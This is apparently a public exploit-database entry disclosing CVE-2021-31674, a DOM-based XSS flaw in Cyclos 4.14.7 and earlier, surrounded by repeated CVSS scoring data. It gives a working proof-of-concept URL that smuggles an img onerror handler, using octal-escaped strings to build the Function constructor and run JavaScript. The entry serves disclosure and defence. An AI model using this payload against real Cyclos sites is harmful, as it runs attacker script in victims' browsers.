CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
AI Score
Confidence
High
EPSS
Percentile
70.7%
# Exploit Title: Cyclos 4.14.7 - DOM Based Cross-Site Scripting (XSS)
# Date: 18/04/2021
# Exploit Author: Tin Pham aka TF1T of VietSunshine Cyber Security Services
# Vendor Homepage: https://www.cyclos.org/
# Version: Cyclos 4.14.7 (and prior)
# Tested on: Ubuntu
# CVE : CVE-2021-31674
# Description:
Cyclos 4 PRO 4.14.7 and before does not validate user input at error inform, which allows remote unauthenticated attacker to execute javascript code via undefined enum.
# Steps to reproduce:
An attacker sends a draft URL
[IP]/#users.users.public-registrationxx%3Cimg%20src=x%20onerror=%22[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162']('\162\145\164\165\162\156\40\164\150\151\163')()['\141\154\145\162\164'](1)%22%3E to victim.
When a victim opens the URL, XSS will be triggered.
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
AI Score
Confidence
High
EPSS
Percentile
70.7%